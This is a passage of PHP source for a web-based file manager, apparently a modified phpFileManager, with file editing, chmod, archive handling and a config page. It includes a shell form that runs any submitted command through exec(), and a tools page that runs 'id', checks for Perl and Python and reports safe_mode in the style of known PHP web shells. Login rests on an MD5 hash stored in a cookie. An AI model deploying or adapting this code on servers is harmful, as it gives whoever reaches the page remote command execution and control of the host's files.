function calc_chmod(nototals)
{
var users = new Array(\"owner\", \"group\", \"other\");
var totals = new Array(\"\",\"\",\"\");
var syms = new Array(\"\",\"\",\"\");
for (var i=0; i<users.length; i++)
{
var user=users[i];
var field4 = user + \"4\";
var field2 = user + \"2\";
var field1 = user + \"1\";
var symbolic = \"sym_\" + user;
var number = 0;
var sym_string = \"\";
var sticky = \"0\";
var sticky_sym = \" \";
if (document.chmod_form.sticky.checked){
sticky = \"1\";
sticky_sym = \"t\";
}
if (document.chmod_form[field4].checked == true) { number += 4; }
if (document.chmod_form[field2].checked == true) { number += 2; }
if (document.chmod_form[field1].checked == true) { number += 1; }
if (document.chmod_form[field4].checked == true) {
sym_string += \"r\";
} else {
sym_string += \"-\";
}
if (document.chmod_form[field2].checked == true) {
sym_string += \"w\";
} else {
sym_string += \"-\";
}
if (document.chmod_form[field1].checked == true) {
sym_string += \"x\";
} else {
sym_string += \"-\";
}
totals[i] = totals[i]+number;
syms[i] = syms[i]+sym_string;
};
if (!nototals) document.chmod_form.t_total.value = sticky + totals[0] + totals[1] + totals[2];
document.chmod_form.sym_total.value = syms[0] + syms[1] + syms[2] + sticky_sym;
}
function troca(){
if(document.chmod_form.sticky.checked){document.chmod_form.sticky.checked=false;}else{document.chmod_form.sticky.checked=true;}
}
window.onload=octalchange
window.moveTo((window.screen.width-400)/2,((window.screen.height-200)/2)-20);
//-->
</script>
";
html_header($aux);
echo "<body marginwidth=\"0\" marginheight=\"0\">
<form name=\"chmod_form\">
<table bordercolor=ffffff BORDER=\"0\" CELLSPACING=\"0\" CELLPADDING=\"4\" ALIGN=CENTER>
<tr><th colspan=4>".et('Perms')."</th></tr>
<TR ALIGN=\"LEFT\" VALIGN=\"MIDDLE\">
<TD><input type=\"text\" name=\"t_total\" value=\"0777\" size=\"4\" onKeyUp=\"octalchange()\"> </TD>
<TD><input type=\"text\" name=\"sym_total\" value=\"\" size=\"12\" READONLY=\"1\"></TD>
</TR>
</TABLE>
<table bordercolor=ffffff cellpadding=\"2\" cellspacing=\"0\" border=\"0\" ALIGN=CENTER>
<tr bgcolor=\"#333333\">
<td WIDTH=\"60\" align=\"left\"> </td>
<td WIDTH=\"55\" align=\"center\" style=\"color:#FFFFFF\"><b>".et('Owner')."
</b></td>
<td WIDTH=\"55\" align=\"center\" style=\"color:#FFFFFF\"><b>".et('Group')."
</b></td>
<td WIDTH=\"55\" align=\"center\" style=\"color:#FFFFFF\"><b>".et('Other')."
<b></td>
</tr>
<tr bgcolor=\"#000000\">
<td WIDTH=\"60\" align=\"left\" nowrap BGCOLOR=\"#FFFFFF\">".et('Read')."</td>
<td WIDTH=\"55\" align=\"center\" bgcolor=\"#000000\">
<input type=\"checkbox\" name=\"owner4\" value=\"4\" onclick=\"calc_chmod()\">
</td>
<td WIDTH=\"55\" align=\"center\" bgcolor=\"#FFFFFF\"><input type=\"checkbox\" name=\"group4\" value=\"4\" onclick=\"calc_chmod()\">
</td>
<td WIDTH=\"55\" align=\"center\" bgcolor=\"#000000\">
<input type=\"checkbox\" name=\"other4\" value=\"4\" onclick=\"calc_chmod()\">
</td>
</tr>
<tr bgcolor=\"#000000\">
<td WIDTH=\"60\" align=\"left\" nowrap BGCOLOR=\"#FFFFFF\">".et('Write')."</td>
<td WIDTH=\"55\" align=\"center\" bgcolor=\"#000000\">
<input type=\"checkbox\" name=\"owner2\" value=\"2\" onclick=\"calc_chmod()\"></td>
<td WIDTH=\"55\" align=\"center\" bgcolor=\"#FFFFFF\"><input type=\"checkbox\" name=\"group2\" value=\"2\" onclick=\"calc_chmod()\">
</td>
<td WIDTH=\"55\" align=\"center\" bgcolor=\"#000000\">
<input type=\"checkbox\" name=\"other2\" value=\"2\" onclick=\"calc_chmod()\">
</td>
</tr>
<tr bgcolor=\"#000000\">
<td WIDTH=\"60\" align=\"left\" nowrap BGCOLOR=\"#FFFFFF\">".et('Exec')."</td>
<td WIDTH=\"55\" align=\"center\" bgcolor=\"#000000\">
<input type=\"checkbox\" name=\"owner1\" value=\"1\" onclick=\"calc_chmod()\">
</td>
<td WIDTH=\"55\" align=\"center\" bgcolor=\"#FFFFFF\"><input type=\"checkbox\" name=\"group1\" value=\"1\" onclick=\"calc_chmod()\">
</td>
<td WIDTH=\"55\" align=\"center\" bgcolor=\"#000000\">
<input type=\"checkbox\" name=\"other1\" value=\"1\" onclick=\"calc_chmod()\">
</td>
</tr>
</TABLE>
<table bordercolor=ffffff BORDER=\"0\" CELLSPACING=\"0\" CELLPADDING=\"4\" ALIGN=CENTER>
<tr><td colspan=2><input type=checkbox name=sticky value=\"1\" onclick=\"calc_chmod()\"> <a href=\"JavaScript:troca();\">".et('StickyBit')."</a><td colspan=2 align=right><input type=button value=\"".et('Apply')."\" onClick=\"window.opener.set_chmod_arg(document.chmod_form.t_total.value); window.close();\"></tr>
</table>
</form>
</body>\n</html>";
}
function view(){
global $doc_root,$path_info,$url_info,$current_dir,$islinux,$filename,$is_reachable;
html_header();
echo "<body marginwidth=\"0\" marginheight=\"0\">
<script language=\"Javascript\" type=\"text/javascript\">
window.moveTo((window.screen.width-800)/2,((window.screen.height-600)/2)-20);";
if ($is_reachable){
$url = $url_info["scheme"]."://".$url_info["host"];
if (strlen($url_info["port"])) $url .= ":".$url_info["port"];
$url .= str_replace($doc_root,"",$current_dir).$filename;
echo "
document.location.href='$url';";
} else {
echo "
alert('".et('OutDocRoot').":\\n".$doc_root."\\n');
window.close();";
}
echo "
</script>
</body>\n</html>";
}
function edit_file_form(){
global $current_dir,$filename,$file_data,$save_file,$path_info;
$file = $current_dir.$filename;
//echo $file;
if ($save_file){
$fh=fopen($file,"w");
fputs($fh,$file_data,strlen($file_data));
fclose($fh);
}
$fh=fopen($file,"r");
$file_data=fread($fh, filesize($file));
//var_dump($file_data);
fclose($fh);
html_header();
echo "<body marginwidth=\"0\" marginheight=\"0\">
<table bordercolor=ffffff border=0 cellspacing=0 cellpadding=5 align=center>
<form name=\"edit_form\" action=\"".$path_info["basename"]."\" method=\"post\">
<input type=hidden name=action value=\"7\">
<input type=hidden name=save_file value=\"1\">
<input type=hidden name=dir_atual value=\"$current_dir\">
<input type=hidden name=filename value=\"$filename\">
<tr><th colspan=2>".$file."</th></tr>
<tr><td colspan=2><textarea name=file_data rows=33 cols=105>".htmlencode($file_data)."</textarea></td></tr>
<tr><td><input type=button value=\"".et('Refresh')."\" onclick=\"document.edit_form_refresh.submit()\"></td><td align=right><input type=button value=\"".et('SaveFile')."\" onclick=\"go_save()\"></td></tr>
</form>
<form name=\"edit_form_refresh\" action=\"".$path_info["basename"]."\" method=\"post\">
<input type=hidden name=action value=\"7\">
<input type=hidden name=dir_atual value=\"$current_dir\">
<input type=hidden name=filename value=\"$filename\">
</form>
</table>
<script language=\"Javascript\" type=\"text/javascript\">
<!--
window.moveTo((window.screen.width-800)/2,((window.screen.height-600)/2)-20);
function go_save(){";
if (is_writable($file)) {
echo "
document.edit_form.submit();";
} else {
echo "
if(confirm('".et('ConfTrySave')." ?')) document.edit_form.submit();";
}
echo "
}
//-->
</script>
</body>\n</html>";
}
function config_form(){
global $cfg;
global $current_dir,$script_filename,$doc_root,$path_info,$fm_root_atual,$lang,$error_reporting,$version;
global $config_action,$newsenha,$newlang,$newerror,$newfm_root;
$Warning = "";
switch ($config_action){
case 1:
if ($fh = fopen("http://phpfm.sf.net/latest.php","r")){
$data = "";
while (!feof($fh)) $data .= fread($fh,1024);
fclose($fh);
$data = unserialize($data);
$ChkVerWarning = "<tr><td align=right> ";
if (is_array($data)&&count($data)){
// sf.net logo
$ChkVerWarning .= "<a href=\"JavaScript:open_win('http://sourceforge.net')\"><img src=\"http://sourceforge.net/sflogo.php?group_id=114392&type=1\" width=\"88\" height=\"31\" border=\"0\" alt=\"SourceForge.net Logo\" /></a>";
if (str_replace(".","",$data['version'])>str_replace(".","",$cfg->data['version'])) $ChkVerWarning .= "<td><a href=\"JavaScript:open_win('http://prdownloads.sourceforge.net/phpfm/phpFileManager-".$data['version'].".zip?download')\"><font color=green>".et('ChkVerAvailable')."</font></a>";
else $ChkVerWarning .= "<td><font color=red>".et('ChkVerNotAvailable')."</font>";
} else $ChkVerWarning .= "<td><font color=red>".et('ChkVerError')."</font>";
} else $ChkVerWarning .= "<td><font color=red>".et('ChkVerError')."</font>";
break;
case 2:
$reload = false;
if ($cfg->data['lang'] != $newlang){
$cfg->data['lang'] = $newlang;
$lang = $newlang;
$reload = true;
}
if ($cfg->data['error_reporting'] != $newerror){
$cfg->data['error_reporting'] = $newerror;
$error_reporting = $newerror;
$reload = true;
}
$newfm_root = formatpath($newfm_root);
if ($cfg->data['fm_root'] != $newfm_root){
$cfg->data['fm_root'] = $newfm_root;
if (strlen($newfm_root)) $current_dir = $newfm_root;
else $current_dir = $path_info["dirname"]."/";
setcookie("fm_root_atual", $newfm_root , 0 , "/");
$reload = true;
}
$cfg->save();
if ($reload){
reloadframe("window.opener.parent",2);
reloadframe("window.opener.parent",3);
}
$Warning1 = et('ConfSaved')."...";
break;
case 3:
if ($cfg->data['auth_pass'] != md5($newsenha)){
$cfg->data['auth_pass'] = md5($newsenha);
setcookie("loggedon", md5($newsenha) , 0 , "/");
}
$cfg->save();
$Warning2 = et('PassSaved')."...";
break;
}
html_header();
echo "<body marginwidth=\"0\" marginheight=\"0\">\n";
echo "
<table bordercolor=ffffff border=0 cellspacing=0 cellpadding=5 align=center width=\"100%\">
<form name=\"config_form\" action=\"".$path_info["basename"]."\" method=\"post\">
<input type=hidden name=action value=2>
<input type=hidden name=config_action value=0>
<tr><td colspan=2 align=center><b>".strtoupper(et('Configurations'))."</b></td></tr>
</table>
<table bordercolor=ffffff border=0 cellspacing=0 cellpadding=5 align=center width=\"100%\">
<tr><td align=right width=\"1%\">".et('Version').":<td>$version</td></tr>
<tr><td align=right>".et('Size').":<td>".getsize($script_filename)."</td></tr>
<tr><td align=right>".et('Website').":<td><a href=\"JavaScript:open_win('http://phpfm.sf.net')\">http://phpfm.sf.net</a></td></tr>";
if (strlen(@$ChkVerWarning)) echo $ChkVerWarning.$data['warnings'];
else echo "<tr><td align=right> <td><input type=button value=\"".et('ChkVer')."\" onclick=\"test_config_form(1)\">";
echo "
<tr><td align=right width=1><nobr>".et('DocRoot').":</nobr><td>".$doc_root."</td></tr>
<tr><td align=right><nobr>".et('FLRoot').":</nobr><td><input type=text size=60 name=newfm_root value=\"".$cfg->data['fm_root']."\" onkeypress=\"enterSubmit(event,'test_config_form(2)')\"></td></tr>
<tr><td align=right>".et('Lang').":<td><select name=newlang><option value=en>English<option value=pt>Portugu�s</select></td></tr>
<tr><td align=right>".et('ErrorReport').":<td><select name=newerror><option value=\"\">NONE<option value=\"".E_ALL."\">E_ALL<option value=\"".E_ERROR."\">E_ERROR<option value=\"".(E_ERROR | E_WARNING)."\">E_ERROR & E_WARNING<option value=\"".(E_ERROR | E_WARNING | E_NOTICE)."\">E_ERROR & E_WARNING & E_NOTICE</select></td></tr>
<tr><td> <td><input type=button value=\"".et('SaveConfig')."\" onclick=\"test_config_form(2)\">";
if (strlen(@$Warning1)) echo " <font color=red>$Warning1</font>";
echo "
<tr><td align=right>".et('Pass').":<td><input type=text size=30 name=newsenha value=\"\" onkeypress=\"enterSubmit(event,'test_config_form(3)')\"></td></tr>
<tr><td> <td><input type=button value=\"".et('SavePass')."\" onclick=\"test_config_form(3)\">";
if (strlen(@$Warning2)) echo " <font color=red>$Warning2</font>";
echo "</td></tr>";
echo "
</form>
</table>
<script language=\"Javascript\" type=\"text/javascript\">
<!--
function set_select(sel,val){
for(var x=0;x<sel.length;x++){
if(sel.options[x].value==val){
sel.options[x].selected=true;
break;
}
}
}
set_select(document.config_form.newlang,'".$cfg->data['lang']."');
set_select(document.config_form.newerror,'".$cfg->data['error_reporting']."');
function test_config_form(arg){
document.config_form.config_action.value = arg;
document.config_form.submit();
}
function open_win(url){
var w = 800;
var h = 600;
window.open(url, '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=yes,toolbar=yes,menubar=yes,location=yes');
}
window.moveTo((window.screen.width-600)/2,((window.screen.height-400)/2)-20);
window.focus();
//-->
</script>
";
echo "</body>\n</html>";
}
function shell_form(){
global $current_dir,$shell_form,$cmd_arg,$path_info;
$data_out = "";
if (strlen($cmd_arg)){
exec($cmd_arg, $mat);
if (count($mat)){
$data_out = trim(implode("\n",$mat));
}
}
//var_dump($data_out);
switch ($shell_form){
case 1:
html_header();
echo "
<body marginwidth=\"0\" marginheight=\"0\">
<table bordercolor=ffffff border=0 cellspacing=0 cellpadding=0 align=center>
<form name=\"data_form\">
<tr><td><textarea name=data_out rows=29 cols=80 READONLY=\"1\"></textarea></td></tr>
</form>
</table>
</body></html>";
break;
case 2:
html_header();
echo "
<body marginwidth=\"0\" marginheight=\"0\">
<table bordercolor=ffffff border=0 cellspacing=0 cellpadding=0 align=center>
<form name=\"shell_form\" action=\"".$path_info["basename"]."\" method=\"post\">
<input type=hidden name=dir_atual value=\"$current_dir\">
<input type=hidden name=action value=\"9\">
<input type=hidden name=shell_form value=\"2\">
<tr><td align=center><input type=text size=90 name=cmd_arg></td></tr>
</form>";
echo "
<script language=\"Javascript\" type=\"text/javascript\">
<!--";
if (strlen($data_out)) echo "
var val = '# ".htmlencode($cmd_arg)."\\n".htmlencode(str_replace("<","[",str_replace(">","]",str_replace("\n","\\n",str_replace("\\","\\\\",$data_out)))))."\\n';
parent.frame1.document.data_form.data_out.value += val;";
echo "
document.shell_form.cmd_arg.focus();
//-->
</script>
";
echo "
</table>
</body></html>";
break;
default:
$aux = "
<script language=\"Javascript\" type=\"text/javascript\">
<!--
window.moveTo((window.screen.width-700)/2,((window.screen.height-500)/2)-20);
//-->
</script>";
html_header($aux);
echo "
<frameset rows=\"470,*\" framespacing=\"0\" frameborder=no>
<frame src=\"".$path_info["basename"]."?action=9&shell_form=1\" name=frame1 border=\"0\" marginwidth=\"0\" marginheight=\"0\">
<frame src=\"".$path_info["basename"]."?action=9&shell_form=2\" name=frame2 border=\"0\" marginwidth=\"0\" marginheight=\"0\">
</frameset>
</html>";
}
}
function server_info(){
if (!@phpinfo()) echo et('NoPhpinfo')."...";
echo "<br><br>";
$a=ini_get_all();
$output="<table bordercolor=ffffff border=1 cellspacing=0 cellpadding=4 align=center>";
while(list($key, $value)=each($a)) {
list($k, $v)= each($a[$key]);
$output.="<tr><td align=right>$key</td><td>$v</td></tr>";
}
$output.="</table>";
echo $output;
echo "<br><br><table bordercolor=ffffff border=1 cellspacing=0 cellpadding=4 align=center>";
$safe_mode=trim(ini_get("safe_mode"));
if ((strlen($safe_mode)==0)||($safe_mode==0)) $safe_mode=false;
else $safe_mode=true;
$is_windows_server = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN');
echo "<tr><td colspan=2>".php_uname();
echo "<tr><td>safe_mode<td>".($safe_mode?"on":"off");
if ($is_windows_server) echo "<tr><td>sisop<td>Windows<br>";
else echo "<tr><td>sisop<td>Linux<br>";
echo "</table><br><br><table bordercolor=ffffff border=1 cellspacing=0 cellpadding=4 align=center>";
$display_errors=ini_get("display_errors");
$ignore_user_abort = ignore_user_abort();
$max_execution_time = ini_get("max_execution_time");
$upload_max_filesize = ini_get("upload_max_filesize");
$memory_limit=ini_get("memory_limit");
$output_buffering=ini_get("output_buffering");
$default_socket_timeout=ini_get("default_socket_timeout");
$allow_url_fopen = ini_get("allow_url_fopen");
$magic_quotes_gpc = ini_get("magic_quotes_gpc");
ignore_user_abort(true);
ini_set("display_errors",0);
ini_set("max_execution_time",0);
ini_set("upload_max_filesize","10M");
ini_set("memory_limit","20M");
ini_set("output_buffering",0);
ini_set("default_socket_timeout",30);
ini_set("allow_url_fopen",1);
ini_set("magic_quotes_gpc",0);
echo "<tr><td> <td>Get<td>Set<td>Get";
echo "<tr><td>display_errors<td>$display_errors<td>0<td>".ini_get("display_errors");
echo "<tr><td>ignore_user_abort<td>".($ignore_user_abort?"on":"off")."<td>on<td>".(ignore_user_abort()?"on":"off");
echo "<tr><td>max_execution_time<td>$max_execution_time<td>0<td>".ini_get("max_execution_time");
echo "<tr><td>upload_max_filesize<td>$upload_max_filesize<td>10M<td>".ini_get("upload_max_filesize");
echo "<tr><td>memory_limit<td>$memory_limit<td>20M<td>".ini_get("memory_limit");
echo "<tr><td>output_buffering<td>$output_buffering<td>0<td>".ini_get("output_buffering");
echo "<tr><td>default_socket_timeout<td>$default_socket_timeout<td>30<td>".ini_get("default_socket_timeout");
echo "<tr><td>allow_url_fopen<td>$allow_url_fopen<td>1<td>".ini_get("allow_url_fopen");
echo "<tr><td>magic_quotes_gpc<td>$magic_quotes_gpc<td>0<td>".ini_get("magic_quotes_gpc");
echo "</table><br><br>";
echo "
<script language=\"Javascript\" type=\"text/javascript\">
<!--
window.moveTo((window.screen.width-800)/2,((window.screen.height-600)/2)-20);
window.focus();
//-->
</script>";
echo "</body>\n</html>";
}
// +--------------------------------------------------
function perl_check(){
exec("perl --version", $version);
if (count($version)){
$version = array_filter($version);
//$version = trim(implode("\n",$version ));
return $version[1];
}else{
return False;
}
}
function python_check(){
exec("python --version", $version);
if (count($version)){
$version = array_filter($version);
//$version = trim(implode("\n",$version ))
return $version;
}else{
return False;
}
}
function tools_form(){
global $path_info;
$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
if (!stristr($DISP_SERVER_SOFTWARE,"PHP/".phpversion())) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".@$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
$win = strtolower(substr(PHP_OS,0,3)) == "win";
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
$safemode = TRUE;
$hsafemode = "<font color=red>ON (secure)</font>";
}
else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (no secure)</font>";}
echo "<script language=\"javascript\">
function config(){
var w = 600;
var h = 400;
window.open('".$path_info["basename"]."?action=2', 'win_config', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
}
</script>";
echo "
<body bgcolor=\"#000000\" style=\"color:006600\">
<input type=button onclick=\"config()\" value=\"".et('Config')."\">
</body>";
echo "<br/><b>Software: </b>";
echo $DISP_SERVER_SOFTWARE;
echo "<br/><b>System: </b>";
echo wordwrap(php_uname(),90,"<br>",1);
echo "<br/><b>User: </b>";
if (!$win) {
echo wordwrap(shell_exec("id"),90,"<br>",1);
} else {
echo get_current_user();
}
echo "<br/><b>Safe-mode: </b>";
echo $hsafemode;
if (python_check()){
echo "<br/><b>Python version: </b>";
echo python_check();
echo "<br/><b>Python version: </b>";
}
if (perl_check()){
echo "<br/><b>Perl version: </b>";
echo perl_check();
}
}
// | Session
// +--------------------------------------------------
function logout(){
setcookie("loggedon",0,0,"/");
form_login();
}
function login(){
global $senha,$auth_pass,$path_info;
if (md5(trim($senha)) == $auth_pass){
setcookie("loggedon",$auth_pass,0,"/");
header ("Location: ".$path_info["basename"]."");
} else header ("Location: ".$path_info["basename"]."?erro=1");
}
function form_login(){
global $erro,$auth_pass,$path_info;
html_header();
echo "<body onLoad=\"if(parent.location.href != self.location.href){ parent.location.href = self.location.href } return true;\">\n";
if ($auth_pass != md5("")){
echo "
<table bordercolor=ffffff border=0 cellspacing=0 cellpadding=5>
<form name=\"login_form\" action=\"".$path_info["basename"]."\" method=\"post\">
<tr>
<td><b>".et('FileMan')."</b>
</tr>
<tr>
<td align=left><font size=4>".et('TypePass').".</font>
</tr>
<tr>
<td><input name=senha type=password size=10> <input type=submit value=\"".et('Send')."\">
</tr>
";
if (strlen($erro)) echo "
<tr>
<td align=left><font color=red size=4>".et('InvPass').".</font>
</tr>
";
echo "
</form>
</table>
<script language=\"Javascript\" type=\"text/javascript\">
<!--
document.login_form.senha.focus();
//-->
</script>
";
} else {
echo "
<table bordercolor=ffffff border=0 cellspacing=0 cellpadding=5>
<form name=\"login_form\" action=\"".$path_info["basename"]."\" method=\"post\">
<input type=hidden name=frame value=3>
<input type=hidden name=senha value=\"\">
<tr>
<td><b>".et('FileMan')."</b>
</tr>
<tr>
<td><input type=submit value=\"".et('Enter')."\">
</tr>
</form>
</table>
";
}
echo "</body>\n</html>";
}
function frame3(){
global $islinux,$cmd_arg,$chmod_arg,$zip_dir,$fm_root_atual;
global $dir_dest,$current_dir,$dir_antes;
global $selected_file_list,$selected_dir_list,$old_name,$new_name;
global $action,$or_by,$order_dir_list_by;
if (!isset($order_dir_list_by)){
$order_dir_list_by = "1A";
setcookie("order_dir_list_by", $order_dir_list_by , $cookie_cache_time , "/");
} elseif (strlen($or_by)){
$order_dir_list_by = $or_by;
setcookie("order_dir_list_by", $or_by , $cookie_cache_time , "/");
}
html_header();
echo "<body>\n";
if ($action){
switch ($action){
case 1: // create dir
if (strlen($cmd_arg)){
$cmd_arg = formatpath($current_dir.$cmd_arg);
if (!file_exists($cmd_arg)){
mkdir($cmd_arg,0777);
chmod($cmd_arg,0777);
reloadframe("parent",2,"&ec_dir=".$cmd_arg);
} else alert(et('FileDirExists').".");
}
break;
case 2: // create arq
if (strlen($cmd_arg)){
$cmd_arg = $current_dir.$cmd_arg;
if (!file_exists($cmd_arg)){
if ($fh = @fopen($cmd_arg, "w")){
@fclose($fh);
}
chmod($cmd_arg,0666);
} else alert(et('FileDirExists').".");
}
break;
case 3: // rename arq ou dir
if ((strlen($old_name))&&(strlen($new_name))){
rename($current_dir.$old_name,$current_dir.$new_name);
if (is_dir($current_dir.$new_name)) reloadframe("parent",2);
}
break;
case 4: // delete sel
if(strstr($current_dir,$fm_root_atual)){
if (strlen($selected_file_list)){
$selected_file_list = explode("<|*|>",$selected_file_list);
if (count($selected_file_list)) {
for($x=0;$x<count($selected_file_list);$x++) {
$selected_file_list[$x] = trim($selected_file_list[$x]);
if (strlen($selected_file_list[$x])) total_delete($current_dir.$selected_file_list[$x],$dir_dest.$selected_file_list[$x]);
}
}
}
if (strlen($selected_dir_list)){
$selected_dir_list = explode("<|*|>",$selected_dir_list);
if (count($selected_dir_list)) {
for($x=0;$x<count($selected_dir_list);$x++) {
$selected_dir_list[$x] = trim($selected_dir_list[$x]);
if (strlen($selected_dir_list[$x])) total_delete($current_dir.$selected_dir_list[$x],$dir_dest.$selected_dir_list[$x]);
}
reloadframe("parent",2);
}
}
}
break;
case 5: // copy sel
if (strlen($dir_dest)){
if(strtoupper($dir_dest) != strtoupper($current_dir)){
if (strlen($selected_file_list)){
$selected_file_list = explode("<|*|>",$selected_file_list);
if (count($selected_file_list)) {
for($x=0;$x<count($selected_file_list);$x++) {
$selected_file_list[$x] = trim($selected_file_list[$x]);
if (strlen($selected_file_list[$x])) total_copy($current_dir.$selected_file_list[$x],$dir_dest.$selected_file_list[$x]);
}
}
}
if (strlen($selected_dir_list)){
$selected_dir_list = explode("<|*|>",$selected_dir_list);
if (count($selected_dir_list)) {
for($x=0;$x<count($selected_dir_list);$x++) {
$selected_dir_list[$x] = trim($selected_dir_list[$x]);
if (strlen($selected_dir_list[$x])) total_copy($current_dir.$selected_dir_list[$x],$dir_dest.$selected_dir_list[$x]);
}
reloadframe("parent",2);
}
}
$current_dir = $dir_dest;
}
}
break;
case 6: // move sel
if (strlen($dir_dest)){
if(strtoupper($dir_dest) != strtoupper($current_dir)){
if (strlen($selected_file_list)){
$selected_file_list = explode("<|*|>",$selected_file_list);
if (count($selected_file_list)) {
for($x=0;$x<count($selected_file_list);$x++) {
$selected_file_list[$x] = trim($selected_file_list[$x]);
if (strlen($selected_file_list[$x])) total_move($current_dir.$selected_file_list[$x],$dir_dest.$selected_file_list[$x]);
}
}
}
if (strlen($selected_dir_list)){
$selected_dir_list = explode("<|*|>",$selected_dir_list);
if (count($selected_dir_list)) {
for($x=0;$x<count($selected_dir_list);$x++) {
$selected_dir_list[$x] = trim($selected_dir_list[$x]);
if (strlen($selected_dir_list[$x])) total_move($current_dir.$selected_dir_list[$x],$dir_dest.$selected_dir_list[$x]);
}
reloadframe("parent",2);
}
}
$current_dir = $dir_dest;
}
}
break;
case 71: // compress sel
if (strlen($cmd_arg)){
ignore_user_abort(true);
ini_set("display_errors",0);
ini_set("max_execution_time",0);
$zipfile=false;
if (strstr($cmd_arg,".tar")) $zipfile = new tar_file($cmd_arg);
elseif (strstr($cmd_arg,".zip")) $zipfile = new zip_file($cmd_arg);
elseif (strstr($cmd_arg,".bzip")) $zipfile = new bzip_file($cmd_arg);
elseif (strstr($cmd_arg,".gzip")) $zipfile = new gzip_file($cmd_arg);
if ($zipfile){
$zipfile->set_options(array('basedir'=>$current_dir,'overwrite'=>1,'level'=>3));
if (strlen($selected_file_list)){
$selected_file_list = explode("<|*|>",$selected_file_list);
if (count($selected_file_list)) {
for($x=0;$x<count($selected_file_list);$x++) {
$selected_file_list[$x] = trim($selected_file_list[$x]);
if (strlen($selected_file_list[$x])) $zipfile->add_files($selected_file_list[$x]);
}
}
}
if (strlen($selected_dir_list)){
$selected_dir_list = explode("<|*|>",$selected_dir_list);
if (count($selected_dir_list)) {
for($x=0;$x<count($selected_dir_list);$x++) {
$selected_dir_list[$x] = trim($selected_dir_list[$x]);
if (strlen($selected_dir_list[$x])) $zipfile->add_files($selected_dir_list[$x]);
}
}
}
$zipfile->create_archive();
}
unset($zipfile);
}
break;
case 72: // decompress arq
if (strlen($cmd_arg)){
if (file_exists($current_dir.$cmd_arg)){
$zipfile=false;
if (strstr($cmd_arg,".zip")) zip_extract();
elseif (strstr($cmd_arg,".bzip")||strstr($cmd_arg,".bz2")||strstr($cmd_arg,".tbz2")||strstr($cmd_arg,".bz")||strstr($cmd_arg,".tbz")) $zipfile = new bzip_file($cmd_arg);
elseif (strstr($cmd_arg,".gzip")||strstr($cmd_arg,".gz")||strstr($cmd_arg,".tgz")) $zipfile = new gzip_file($cmd_arg);
elseif (strstr($cmd_arg,".tar")) $zipfile = new tar_file($cmd_arg);
if ($zipfile){
$zipfile->set_options(array('basedir'=>$current_dir,'overwrite'=>1));
$zipfile->extract_files();
}
unset($zipfile);
reloadframe("parent",2);
}
}
break;
case 8: // delete arq/dir
if (strlen($cmd_arg)){
if (file_exists($current_dir.$cmd_arg)) total_delete($current_dir.$cmd_arg);
if (is_dir($current_dir.$cmd_arg)) reloadframe("parent",2);
}
break;
case 9: // CHMOD
if((strlen($chmod_arg) == 4)&&(strlen($current_dir))){
if ($chmod_arg[0]=="1") $chmod_arg = "0".$chmod_arg;
else $chmod_arg = "0".substr($chmod_arg,strlen($chmod_arg)-3);
$new_mod = octdec($chmod_arg);
$selected_file_list = explode("<|*|>",$selected_file_list);
if (count($selected_file_list)) for($x=0;$x<count($selected_file_list);$x++) @chmod($current_dir.$selected_file_list[$x],$new_mod);
$selected_dir_list = explode("<|*|>",$selected_dir_list);
if (count($selected_dir_list)) for($x=0;$x<count($selected_dir_list);$x++) @chmod($current_dir.$selected_dir_list[$x],$new_mod);
}
break;
}
if ($action != 10) dir_list_form();
} else dir_list_form();
echo "</body>\n</html>";
}
function frame2(){
global $expanded_dir_list,$ec_dir;
if (!isset($expanded_dir_list)) $expanded_dir_list = "";
if (strlen($ec_dir)){
if (strstr($expanded_dir_list,":".$ec_dir)) $expanded_dir_list = str_replace(":".$ec_dir,"",$expanded_dir_list);
else $expanded_dir_list .= ":".$ec_dir;
setcookie("expanded_dir_list", $expanded_dir_list , 0 , "/");
}
show_tree();
}
function frameset(){
global $path_info;
html_header();
echo "
<frameset cols=\"300,*\" framespacing=\"0\">
<frameset rows=\"0,*\" framespacing=\"0\" frameborder=no>
<frame src=\"".$path_info["basename"]."?frame=1\" name=frame1 border=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=no>
<frame src=\"".$path_info["basename"]."?frame=2\" name=frame2 border=\"0\" marginwidth=\"0\" marginheight=\"0\">
</frameset>
<frame src=\"".$path_info["basename"]."?frame=3\" name=frame3 border=\"0\" marginwidth=\"0\" marginheight=\"0\">
</frameset>
";
echo "</html>";
}
class archive
{
function archive($name)
{
$this->options = array(
'basedir'=>".",
'name'=>$name,
'prepend'=>"",
'inmemory'=>0,
'overwrite'=>0,
'recurse'=>1,
'storepaths'=>1,
'level'=>3,
'method'=>1,
'sfx'=>"",
'type'=>"",
'comment'=>""
);
$this->files = array();
$this->exclude = array();
$this->storeonly = array();
$this->error = array();
}
function set_options($options)
{
foreach($options as $key => $value)
{
$this->options[$key] = $value;
}
if(!empty($this->options['basedir']))
{
$this->options['basedir'] = str_replace("\\","/",$this->options['basedir']);
$this->options['basedir'] = preg_replace("/\/+/","/",$this->options['basedir']);
$this->options['basedir'] = preg_replace("/\/$/","",$this->options['basedir']);
}
if(!empty($this->options['name']))
{
$this->options['name'] = str_replace("\\","/",$this->options['name']);
$this->options['name'] = preg_replace("/\/+/","/",$this->options['name']);
}
if(!empty($this->options['prepend']))
{
$this->options['prepend'] = str_replace("\\","/",$this->options['prepend']);
$this->options['prepend'] = preg_replace("/^(\.*\/+)+/","",$this->options['prepend']);
$this->options['prepend'] = preg_replace("/\/+/","/",$this->options['prepend']);
$this->options['prepend'] = preg_replace("/\/$/","",$this->options['prepend']) . "/";
}
}
function create_archive()
{
$this->make_list();
if($this->options['inmemory'] == 0)
{
$pwd = getcwd();
chdir($this->options['basedir']);
if($this->options['overwrite'] == 0 && file_exists($this->options['name'] . ($this->options['type'] == "gzip" || $this->options['type'] == "bzip"? ".tmp" : "")))
{
$this->error[] = "File {$this->options['name']} already exists.";
chdir($pwd);
return 0;
}
